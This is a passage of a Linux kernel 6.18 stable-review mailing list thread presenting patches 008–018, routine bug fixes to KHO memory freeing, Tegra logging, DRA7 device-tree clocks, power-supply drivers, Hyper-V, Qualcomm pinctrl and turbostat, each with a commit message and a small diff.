* [PATCH 6.18 008/193] kho: free phys_bits bitmaps using free_page() in __kho_abort()
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (6 preceding siblings ...)
2026-10-23 16:34 ` [PATCH 6.18 007/193] i2c: qcom-geni: Restore the source-clock selection policy Greg Kroah-Hartman
@ 2026-10-23 16:34 ` Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 009/193] soc/tegra: fuse: Add missing newline to APBMISC error message Greg Kroah-Hartman
` (195 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Federico Parola, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Federico Parola <fparola@amazon.de>
Commit fa759cd75bce ("kho: allocate metadata directly from the buddy
allocator") switched the allocation of preserved memory bitmaps to
get_zeroed_page(), but __kho_abort() still releases them with kfree().
kfree() on a buddy page that is not a large kmalloc allocation hits the
WARN_ON_ONCE() in free_large_kmalloc() and returns without freeing it,
so every aborted finalization leaks all bitmap pages.
Free the bitmaps with free_page() instead.
This is a stable-only patch. Upstream fixed it as a side effect of
commit 99cd2ffac697 ("kho: don't unpreserve memory during abort"), which
removes the tracking teardown from __kho_abort() altogether. That change
builds on commit 36f8f7ef7fd2 ("kho: add interfaces to unpreserve
folios, page ranges, and vmalloc") and commit 70f9133096c8 ("kho: drop
notifiers"). In 6.18.y, KHO users still preserve memory from the
KEXEC_KHO_FINALIZE notifier and have no interface to unpreserve it, so
the teardown on abort is the only way their preservations get dropped.
Backporting that commit would make preservations outlive every abort,
so keep the teardown and fix only the mismatched free.
Fixes: fa759cd75bce ("kho: allocate metadata directly from the buddy allocator")
Signed-off-by: Federico Parola <fparola@amazon.de>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
kernel/kexec_handover.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/kernel/kexec_handover.c b/kernel/kexec_handover.c
index 9fe5d14f1ec54..9691f6bc2fba7 100644
--- a/kernel/kexec_handover.c
+++ b/kernel/kexec_handover.c
@@ -1054,7 +1054,7 @@ static int __kho_abort(void)
unsigned long phys;
xa_for_each(&physxa->phys_bits, phys, bits)
- kfree(bits);
+ free_page((unsigned long)bits);
xa_destroy(&physxa->phys_bits);
kfree(physxa);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 009/193] soc/tegra: fuse: Add missing newline to APBMISC error message
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (7 preceding siblings ...)
2026-10-23 16:34 ` [PATCH 6.18 008/193] kho: free phys_bits bitmaps using free_page() in __kho_abort() Greg Kroah-Hartman
@ 2026-10-23 16:34 ` Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 010/193] ARM: dts: ti/omap: dra7: fix PCIe PHY clock divider definition Greg Kroah-Hartman
` (194 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Jinhui Guo, Thierry Reding,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jinhui Guo <guojinhui.liam@bytedance.com>
[ Upstream commit 2f4a0fb66d313f03832f061bc3ec25b33c8198c9 ]
The error message printed by tegra_acpi_init_apbmisc() when failing to
get APBMISC memory resources is missing a trailing newline. This can
cause the message to be merged with the following kernel log line, making
the log harder to read.
Add the missing newline to keep the error output properly formatted.
Fixes: 7b0c505eb341 ("soc/tegra: fuse: Add tegra_acpi_init_apbmisc()")
Signed-off-by: Jinhui Guo <guojinhui.liam@bytedance.com>
Signed-off-by: Thierry Reding <treding@nvidia.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/soc/tegra/fuse/tegra-apbmisc.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/soc/tegra/fuse/tegra-apbmisc.c b/drivers/soc/tegra/fuse/tegra-apbmisc.c
index 0ce94fdc536fb..1c25b36c2f3cd 100644
--- a/drivers/soc/tegra/fuse/tegra-apbmisc.c
+++ b/drivers/soc/tegra/fuse/tegra-apbmisc.c
@@ -278,7 +278,7 @@ void tegra_acpi_init_apbmisc(void)
ret = acpi_dev_get_memory_resources(adev, &resource_list);
if (ret < 0) {
- pr_err("failed to get APBMISC memory resources");
+ pr_err("failed to get APBMISC memory resources\n");
goto out_put_acpi_dev;
}
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 010/193] ARM: dts: ti/omap: dra7: fix PCIe PHY clock divider definition
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (8 preceding siblings ...)
2026-10-23 16:34 ` [PATCH 6.18 009/193] soc/tegra: fuse: Add missing newline to APBMISC error message Greg Kroah-Hartman
@ 2026-10-23 16:34 ` Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 011/193] power: supply: Fix maintenance charge table kernel-doc Greg Kroah-Hartman
` (193 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, David Oberhollenzer,
Kevin Hilman (TI), Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Oberhollenzer <david.oberhollenzer@sigma-star.at>
[ Upstream commit 2fabd2f406d0cf787be47b3bbeea99b30004033d ]
Commit d0bdd8bb7f35 ("ARM: dts: ti/omap: dra7: fix redundant
clock divider definition") removes the clock divider definition
from optfclk_pciephy_div, reasoning that the table is redundant,
as it contains the values 1 and 2, while also setting ti,max-div
to 2 while ti,min-div is implicitly initialized to 1.
What that commit missed was the fact that the values in the table
are in reverse order, i.e. first 2, then 1.
As is clearly described in the documentation, the ordering is
signifficant, the actual values for the register setting are
derived from the index. If no table is specified, the driver
assumes that the register value is divider - 1 (see also `_get_val`
in `drivers/clk/ti/divider.c`).
What is in fact redundant is the value of ti,max-div that is
derived from the table if none is specified. To satisfy device
tree semantic linters, it is removed instead.
Fixes: d0bdd8bb7f35 ("ARM: dts: ti/omap: dra7: fix redundant clock divider definition")
Signed-off-by: David Oberhollenzer <david.oberhollenzer@sigma-star.at>
Link: https://patch.msgid.link/20260716113947.92513-1-david.oberhollenzer@sigma-star.at
Signed-off-by: Kevin Hilman (TI) <khilman@baylibre.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
arch/arm/boot/dts/ti/omap/dra7xx-clocks.dtsi | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/arch/arm/boot/dts/ti/omap/dra7xx-clocks.dtsi b/arch/arm/boot/dts/ti/omap/dra7xx-clocks.dtsi
index 0de16ee262cf4..615a8fb477761 100644
--- a/arch/arm/boot/dts/ti/omap/dra7xx-clocks.dtsi
+++ b/arch/arm/boot/dts/ti/omap/dra7xx-clocks.dtsi
@@ -1376,8 +1376,8 @@ optfclk_pciephy_div: clock-optfclk-pciephy-div-8@4a00821c {
clocks = <&apll_pcie_ck>;
#clock-cells = <0>;
reg = <0x021c>;
+ ti,dividers = <2>, <1>;
ti,bit-shift = <8>;
- ti,max-div = <2>;
};
apll_pcie_clkvcoldo: clock-apll-pcie-clkvcoldo {
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 011/193] power: supply: Fix maintenance charge table kernel-doc
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (9 preceding siblings ...)
2026-10-23 16:34 ` [PATCH 6.18 010/193] ARM: dts: ti/omap: dra7: fix PCIe PHY clock divider definition Greg Kroah-Hartman
@ 2026-10-23 16:34 ` Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 012/193] power: supply: ds2780: Fix ds2780_get_capacity() returning raw value Greg Kroah-Hartman
` (192 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Karl Mehltretter, Sebastian Reichel,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Karl Mehltretter <kmehltretter@gmail.com>
[ Upstream commit 45d4af4e80a25881b6b75e8e34872c555c43a41d ]
struct power_supply_maintenance_charge_table contains
charge_safety_timer_minutes, but its kernel-doc describes
safety_timer_minutes. This leaves the real member undescribed and adds a
nonexistent member to the generated documentation.
Use the member's actual name.
Fixes: d72ce7d32478 ("power: supply: ab8500: Standardize maintenance charging")
Assisted-by: LLM
Signed-off-by: Karl Mehltretter <kmehltretter@gmail.com>
Link: https://patch.msgid.link/20260909064623.90737-1-kmehltretter@gmail.com
Signed-off-by: Sebastian Reichel <sebastian.reichel@collabora.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
include/linux/power_supply.h | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/include/linux/power_supply.h b/include/linux/power_supply.h
index 360ffdf272dab..2a8266b125618 100644
--- a/include/linux/power_supply.h
+++ b/include/linux/power_supply.h
@@ -397,9 +397,9 @@ struct power_supply_vbat_ri_table {
* @charge_voltage_max_uv: maintenance charging voltage that is usually a bit
* lower than the constant_charge_voltage_max_uv. We can apply this settings
* charge_current_max_ua until we get back up to this voltage.
- * @safety_timer_minutes: maintenance charging safety timer, with an expiry
- * time in minutes. We will only use maintenance charging in this setting
- * for a certain amount of time, then we will first move to the next
+ * @charge_safety_timer_minutes: maintenance charging safety timer, with an
+ * expiry time in minutes. We will only use maintenance charging in this
+ * setting for a certain amount of time, then we will first move to the next
* maintenance charge current and voltage pair in respective array and wait
* for the next safety timer timeout, or, if we reached the last maintencance
* charging setting, disable charging until we reach
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 012/193] power: supply: ds2780: Fix ds2780_get_capacity() returning raw value
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (10 preceding siblings ...)
2026-10-23 16:34 ` [PATCH 6.18 011/193] power: supply: Fix maintenance charge table kernel-doc Greg Kroah-Hartman
@ 2026-10-23 16:34 ` Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 013/193] Drivers: hv: Avoid infinite retry loop in init_vp_index() Greg Kroah-Hartman
` (191 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Xueqin Luo, Sebastian Reichel,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Xueqin Luo <luoxueqin@kylinos.cn>
[ Upstream commit a58cbc8b36ec0cd00d2ba3de7d003de818a27523 ]
ds2780_get_capacity() returns the raw register value instead of 0 on
success. The capacity is already stored in *capacity, so the function
should return 0 to indicate success.
Fixes: 275ac74629c4 ("w1: add Maxim/Dallas DS2780 Stand-Alone Fuel Gauge IC support")
Signed-off-by: Xueqin Luo <luoxueqin@kylinos.cn>
Link: https://patch.msgid.link/20260901072954.1953121-1-luoxueqin@kylinos.cn
Signed-off-by: Sebastian Reichel <sebastian.reichel@collabora.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/power/supply/ds2780_battery.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/power/supply/ds2780_battery.c b/drivers/power/supply/ds2780_battery.c
index 5b57bbba79d44..ef2446386c2af 100644
--- a/drivers/power/supply/ds2780_battery.c
+++ b/drivers/power/supply/ds2780_battery.c
@@ -304,7 +304,7 @@ static int ds2780_get_capacity(struct ds2780_device_info *dev_info,
return ret;
*capacity = raw;
- return raw;
+ return 0;
}
static int ds2780_get_status(struct ds2780_device_info *dev_info, int *status)
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 013/193] Drivers: hv: Avoid infinite retry loop in init_vp_index()
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (11 preceding siblings ...)
2026-10-23 16:34 ` [PATCH 6.18 012/193] power: supply: ds2780: Fix ds2780_get_capacity() returning raw value Greg Kroah-Hartman
@ 2026-10-23 16:34 ` Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 014/193] x86/hyperv: Avoid using per-cpu output page in hv_apicid_to_vp_index() Greg Kroah-Hartman
` (190 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Waiman Long, Michael Kelley, Wei Liu,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Waiman Long <longman@redhat.com>
[ Upstream commit 32ea0a33e3a0fb7c10c601b43e1b2f6c06a3f5fd ]
There is a retry loop in init_vp_index() where the CPUs from a certain
node are stripped out if they have already been in the allocated cpumask
or not in HK_TYPE_MANAGED_IRQ housekeeping cpumask. If there is no
CPU left, the allocated cpumask is ignored and the process is retried
again. However, if the HK_TYPE_MANAGED_IRQ housekeeping cpumask turns
out not to contain any CPU in that particular node, that will become an
infinite retry loop. This particular problem was reported by sashiko
[1]. This should rarely happen, but we still need to guard against this.
Fix this infinite loop problem by also skipping NUMA node that has no
housekeeping CPU in the inner while loop of init_vp_index(). Also update
the early abort check to check for the absence of online housekeeping
CPUs instead of just the emptiness of the cpumask. As the outer for
loop will only be reached if the housekeeping cpumask has at least one
online CPU, a NUMA node with housekeeping CPUs will eventually be found.
Link: https://sashiko.dev/#/message/20260422030903.E1BFCC2BCB0%40smtp.kernel.org [1]
Fixes: 6640b5df1a38 ("Drivers: hv: vmbus: Don't assign VMbus channel interrupts to isolated CPUs")
Signed-off-by: Waiman Long <longman@redhat.com>
Reviewed-by: Michael Kelley <mhkelley@outlook.com>
Signed-off-by: Wei Liu <wei.liu@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/hv/channel_mgmt.c | 12 +++++++++---
1 file changed, 9 insertions(+), 3 deletions(-)
diff --git a/drivers/hv/channel_mgmt.c b/drivers/hv/channel_mgmt.c
index d5348195e4fb0..5f013d4582d76 100644
--- a/drivers/hv/channel_mgmt.c
+++ b/drivers/hv/channel_mgmt.c
@@ -744,13 +744,14 @@ static void init_vp_index(struct vmbus_channel *channel)
u32 i, ncpu = num_online_cpus();
cpumask_var_t available_mask;
struct cpumask *allocated_mask;
+ const struct cpumask *node_mask;
const struct cpumask *hk_mask = housekeeping_cpumask(HK_TYPE_MANAGED_IRQ);
u32 target_cpu;
int numa_node;
if (!perf_chn ||
!alloc_cpumask_var(&available_mask, GFP_KERNEL) ||
- cpumask_empty(hk_mask)) {
+ !cpumask_intersects(hk_mask, cpu_online_mask)) {
/*
* If the channel is not a performance critical
* channel, bind it to VMBUS_CONNECT_CPU.
@@ -772,14 +773,19 @@ static void init_vp_index(struct vmbus_channel *channel)
next_numa_node_id = 0;
continue;
}
- if (cpumask_empty(cpumask_of_node(numa_node)))
+ /*
+ * Try next NUMA node if current NUMA node has no CPU
+ * or doesn't contain any housekeeping CPU.
+ */
+ node_mask = cpumask_of_node(numa_node);
+ if (!cpumask_intersects(node_mask, hk_mask))
continue;
break;
}
allocated_mask = &hv_context.hv_numa_map[numa_node];
retry:
- cpumask_xor(available_mask, allocated_mask, cpumask_of_node(numa_node));
+ cpumask_xor(available_mask, allocated_mask, node_mask);
cpumask_and(available_mask, available_mask, hk_mask);
if (cpumask_empty(available_mask)) {
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 014/193] x86/hyperv: Avoid using per-cpu output page in hv_apicid_to_vp_index()
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (12 preceding siblings ...)
2026-10-23 16:34 ` [PATCH 6.18 013/193] Drivers: hv: Avoid infinite retry loop in init_vp_index() Greg Kroah-Hartman
@ 2026-10-23 16:34 ` Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 015/193] Drivers: hv: Dont reset VMBus connection state on error/exit paths Greg Kroah-Hartman
` (189 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Michael Kelley, Tianyu Lan, Wei Liu,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Michael Kelley <mhkelley58@gmail.com>
[ Upstream commit 7b74c117e2aac78e0f723e1c9c3644451c56b0d9 ]
hv_apicid_to_vp_index() currently uses the per-cpu hypercall input
and output pages. This function is called when running in VTL2 and
when running in an SEV-SNP CoCo VM with no paravisor. In the former
case, the output page is allocated, but in the latter case it is
not, so the hypervisor stores the output VP index in memory that has
not been allocated by the guest.
Fix this by using the input page for both input and output. The
hypercall has very small input and output, so sharing the same
page for both is straightforward. An alternative fix is to
allocate the per-cpu output page when running in an SEV-SNP CoCo
guest, but this uses significantly more memory, particularly
with larger vCPUs counts.
Fixes: 86c48271e0d6 ("x86/hyperv: Fix APIC ID and VP index confusion in hv_snp_boot_ap()")
Signed-off-by: Michael Kelley <mhklinux@outlook.com>
Reviewed-by: Tianyu Lan <tiala@microsoft.com>
Signed-off-by: Wei Liu <wei.liu@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
arch/x86/hyperv/hv_init.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/arch/x86/hyperv/hv_init.c b/arch/x86/hyperv/hv_init.c
index 085ef4f2e73a9..498d48b575e51 100644
--- a/arch/x86/hyperv/hv_init.c
+++ b/arch/x86/hyperv/hv_init.c
@@ -713,7 +713,8 @@ int hv_apicid_to_vp_index(u32 apic_id)
input->partition_id = HV_PARTITION_ID_SELF;
input->apic_ids[0] = apic_id;
- output = *this_cpu_ptr(hyperv_pcpu_output_arg);
+ /* Treat input as having 2 APIC IDs so output is 64-bit aligned */
+ output = (void *)input + struct_size(input, apic_ids, 2);
control = HV_HYPERCALL_REP_COMP_1 | HVCALL_GET_VP_INDEX_FROM_APIC_ID;
status = hv_do_hypercall(control, input, output);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 015/193] Drivers: hv: Dont reset VMBus connection state on error/exit paths
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (13 preceding siblings ...)
2026-10-23 16:34 ` [PATCH 6.18 014/193] x86/hyperv: Avoid using per-cpu output page in hv_apicid_to_vp_index() Greg Kroah-Hartman
@ 2026-10-23 16:34 ` Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 016/193] pinctrl: qcom: qcs8300: Fix intr_target_width Greg Kroah-Hartman
` (188 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Sashiko, Michael Kelley, Wei Liu,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Michael Kelley <mhkelley58@gmail.com>
[ Upstream commit ec31dc39e835ccde0930daccece8c492d28282fc ]
In two places, current code forces vmbus_connection.conn_state to
DISCONNECTED prior to calling vmbus_disconnect(). But vmbus_disconnect()
calls vmbus_initiate_unload(), which unloads the VMBus connection
only if the conn_state is CONNECTED. Consequently, the connection
remains and the Hyper-V host might continue to send messages or post
VMBus interrupts.
The problem was introduced in commit 74347a99e73ae ("x86/Hyper-V:
Unload vmbus channel in hv panic callback"), in that
vmbus_initiate_unload() started checking the current connection
state before doing the unload. This commit removed some occurrences
where conn_state was forced to DISCONNECTED, but these two remained,
apparently due to an oversight at the time.
Fix this by not forcing conn_state to DISCONNECTED during VMBus exit,
or if a failure occurs when establishing the connection in the first
place. Whatever value conn_state has at the time is then read by
vmbus_initiate_unload() to determine if there is a connection to
be unloaded.
Reported-by: Sashiko <sashiko-bot@kernel.org>
Closes: https://lore.kernel.org/linux-hyperv/20260805205806.B5AC31F000E9@smtp.kernel.org/
Fixes: 74347a99e73ae ("x86/Hyper-V: Unload vmbus channel in hv panic callback")
Signed-off-by: Michael Kelley <mhklinux@outlook.com>
Signed-off-by: Wei Liu <wei.liu@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/hv/connection.c | 1 -
drivers/hv/vmbus_drv.c | 1 -
2 files changed, 2 deletions(-)
diff --git a/drivers/hv/connection.c b/drivers/hv/connection.c
index 9be2af772867d..4a3bb9ae9250c 100644
--- a/drivers/hv/connection.c
+++ b/drivers/hv/connection.c
@@ -340,7 +340,6 @@ int vmbus_connect(void)
cleanup:
pr_err("Unable to connect to host\n");
- vmbus_connection.conn_state = DISCONNECTED;
vmbus_disconnect();
kfree(msginfo);
diff --git a/drivers/hv/vmbus_drv.c b/drivers/hv/vmbus_drv.c
index b1552a26b8d3e..1dc371eb53400 100644
--- a/drivers/hv/vmbus_drv.c
+++ b/drivers/hv/vmbus_drv.c
@@ -3018,7 +3018,6 @@ static void __exit vmbus_exit(void)
hv_remove_kexec_handler();
hv_remove_crash_handler();
- vmbus_connection.conn_state = DISCONNECTED;
hv_stimer_global_cleanup();
vmbus_disconnect();
if (vmbus_irq == -1) {
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 016/193] pinctrl: qcom: qcs8300: Fix intr_target_width
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (14 preceding siblings ...)
2026-10-23 16:34 ` [PATCH 6.18 015/193] Drivers: hv: Dont reset VMBus connection state on error/exit paths Greg Kroah-Hartman
@ 2026-10-23 16:34 ` Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 017/193] pinctrl: qcom: ipq5018: add missing pwm3 function on gpio13 Greg Kroah-Hartman
` (187 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Konrad Dybcio, Shawn Guo,
Bartosz Golaszewski, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
[ Upstream commit dcb5df182b37587d5ad6bb4388751bf5180957ac ]
The default width of the interrupt target field doesn't match the actual
register layout. Fix it.
Fixes: 0c4cd2cc87c8 ("pinctrl: qcom: add the tlmm driver for QCS8300 platforms")
Assisted-by: LLM
Signed-off-by: Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
Reviewed-by: Shawn Guo <shengchao.guo@oss.qualcomm.com>
Link: https://patch.msgid.link/20260917-topic-tlmm_intr_width_fixes-v1-3-3bc1d056aa6b@oss.qualcomm.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/pinctrl/qcom/pinctrl-qcs8300.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/drivers/pinctrl/qcom/pinctrl-qcs8300.c b/drivers/pinctrl/qcom/pinctrl-qcs8300.c
index f1af1a620684c..0819a29353464 100644
--- a/drivers/pinctrl/qcom/pinctrl-qcs8300.c
+++ b/drivers/pinctrl/qcom/pinctrl-qcs8300.c
@@ -46,6 +46,7 @@
.intr_enable_bit = 0, \
.intr_status_bit = 0, \
.intr_target_bit = 5, \
+ .intr_target_width = 4, \
.intr_target_kpss_val = 3, \
.intr_raw_status_bit = 4, \
.intr_polarity_bit = 1, \
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 017/193] pinctrl: qcom: ipq5018: add missing pwm3 function on gpio13
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (15 preceding siblings ...)
2026-10-23 16:34 ` [PATCH 6.18 016/193] pinctrl: qcom: qcs8300: Fix intr_target_width Greg Kroah-Hartman
@ 2026-10-23 16:34 ` Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 018/193] tools/power turbostat: Fix fd_perf leak on reset Greg Kroah-Hartman
` (186 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Gilberto Conde, Konrad Dybcio,
Bartosz Golaszewski, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Gilberto Conde <gilbertorconde@gmail.com>
[ Upstream commit c6c159fcdb4e9a678eda0831f971e4a3a488ec47 ]
GPIO13 supports the PWM3 function at mux select value 4, but the
pingroup table leaves that slot empty and gpio13 is not listed in
pwm3_groups. Selecting pwm3 on gpio13 is therefore rejected by the
pinmux core:
ipq5018-tlmm: invalid group "gpio13" for function "pwm3"
The GL.iNet GL-X2000 drives its fan from PWM3 on this pin, and the
vendor firmware muxes it with select value 4:
gpio13 : out low func4 8mA no pull
Add pwm3 to the fourth function slot of gpio13 and list gpio13 in
pwm3_groups. With this the pin muxes as expected:
pin 13 (GPIO_13): device 1941010.pwm function pwm3 group gpio13
Fixes: 725d1c891658 ("pinctrl: qcom: Add IPQ5018 pinctrl driver")
Signed-off-by: Gilberto Conde <gilbertorconde@gmail.com>
Reviewed-by: Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
Link: https://patch.msgid.link/20260921093419.2870168-1-gilbertorconde@gmail.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/pinctrl/qcom/pinctrl-ipq5018.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/drivers/pinctrl/qcom/pinctrl-ipq5018.c b/drivers/pinctrl/qcom/pinctrl-ipq5018.c
index cbf34854f8826..4e1f033ee2d62 100644
--- a/drivers/pinctrl/qcom/pinctrl-ipq5018.c
+++ b/drivers/pinctrl/qcom/pinctrl-ipq5018.c
@@ -565,7 +565,7 @@ static const char * const qdss_cti_trig_out_b1_groups[] = {
};
static const char * const pwm3_groups[] = {
- "gpio45",
+ "gpio45", "gpio13",
};
static const char * const qdss_cti_trig_in_b1_groups[] = {
@@ -691,7 +691,7 @@ static const struct msm_pingroup ipq5018_groups[] = {
PINGROUP(10, blsp0_spi, blsp1_uart0, led0, gcc_plltest, qdss_tracedata_a, _, _, _, _),
PINGROUP(11, blsp0_spi, blsp1_uart0, _, gcc_tlmm, qdss_tracedata_a, _, _, _, _),
PINGROUP(12, blsp0_spi, blsp0_i2c, blsp1_uart0, _, gcc_plltest, qdss_tracedata_a, _, _, _),
- PINGROUP(13, blsp0_spi, blsp0_i2c, blsp1_uart0, _, qdss_tracedata_a, _, _, _, _),
+ PINGROUP(13, blsp0_spi, blsp0_i2c, blsp1_uart0, pwm3, qdss_tracedata_a, _, _, _, _),
PINGROUP(14, pcie0_clk, _, _, cri_trng0, qdss_tracedata_a, _, _, _, _),
PINGROUP(15, _, _, cri_trng1, qdss_tracedata_a, _, _, _, _, _),
PINGROUP(16, pcie0_wake, _, _, cri_trng, qdss_tracedata_a, _, _, _, _),
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 018/193] tools/power turbostat: Fix fd_perf leak on reset
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (16 preceding siblings ...)
2026-10-23 16:34 ` [PATCH 6.18 017/193] pinctrl: qcom: ipq5018: add missing pwm3 function on gpio13 Greg Kroah-Hartman
@ 2026-10-23 16:34 ` Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 019/193] tools/power turbostat: Fix CWF PMT off-by-one Greg Kroah-Hartman
` (185 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Len Brown, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Len Brown <len.brown@intel.com>
[ Upstream commit 767c64414c4c5fffd6cbc3a1cf1fb8138b28645b ]
When turbostat notices a topology change,
it frees perf file descriptors for each CPU
to prepare to re-initialize.
Fix an off-by-one error in that per-cpu loop that
resulted in a file descriptor leak of the file for
the highest numbered CPU in the system.
Fixes: 67bab430f4e7 ("tools/power turbostat: Group SMI counter with APERF and MPERF")
Assisted-by: GitHub Copilot (claude-sonnet-4.6)
Signed-off-by: Len Brown <len.brown@intel.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
tools/power/x86/turbostat/turbostat.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/tools/power/x86/turbostat/turbostat.c b/tools/power/x86/turbostat/turbostat.c
index 313872f64a9a9..47471377ff43c 100644
--- a/tools/power/x86/turbostat/turbostat.c
+++ b/tools/power/x86/turbostat/turbostat.c
@@ -5768,7 +5768,7 @@ void free_fd_msr(void)
if (!msr_counter_info)
return;
- for (int cpu = 0; cpu < topo.max_cpu_num; ++cpu) {
+ for (int cpu = 0; cpu <= topo.max_cpu_num; ++cpu) {
if (msr_counter_info[cpu].fd_perf != -1)
close(msr_counter_info[cpu].fd_perf);
}
--
2.53.0
